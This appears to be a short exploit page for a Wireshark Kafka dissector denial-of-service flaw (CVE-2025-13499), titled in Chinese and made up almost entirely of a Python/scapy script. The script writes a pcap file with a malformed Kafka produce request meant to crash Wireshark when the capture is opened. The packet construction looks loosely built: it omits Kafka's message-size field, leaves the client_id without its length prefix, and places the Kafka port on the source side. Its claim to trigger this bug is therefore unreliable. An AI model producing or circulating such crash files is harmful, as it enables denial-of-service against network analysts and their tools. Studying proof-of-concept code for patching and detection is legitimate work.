Wireshark Kafka dissector崩溃导致拒绝服务 (CVE-2025-13499)

#!/usr/bin/env python3 # CVE-2025-13499 PoC - Malformed Kafka packet generator # This PoC generates a pcap file with malformed Kafka messages # to trigger the Wireshark Kafka dissector crash import struct from scapy.all import IP, TCP, Raw, wrpcap def create_malformed_kafka_pcap(output_file): """Generate a pcap file with malformed Kafka messages""" # Create IP and TCP headers ip = IP(src="192.168.1.100", dst="192.168.1.200") tcp = TCP(sport=9092, dport=8080, flags="PA") # Kafka protocol header (malformed) # Kafka message format: api_key(2) + api_version(2) + correlation_id(4) + client_id api_key = struct.pack(">H", 0) # Produce request api_version = struct.pack(">H", 10) # Invalid high version correlation_id = struct.pack(">I", 12345) client_id = b"malformed_test" # Create malformed Kafka message with invalid length fields malformed_payload = api_key + api_version + correlation_id + client_id # Add invalid/corrupted data to trigger dissector crash malformed_payload += b"\x00" * 100 + b"\xff\xff\xff\xff" # Create packet packet = ip / tcp / Raw(load=malformed_payload) # Save pcap file wrpcap(output_file, [packet]) print(f"[+] Created PoC pcap file: {output_file}") print(f"[+] Malformed Kafka payload length: {len(malformed_payload)} bytes") if __name__ == "__main__": create_malformed_kafka_pcap("CVE-2025-13499.poc.pcap")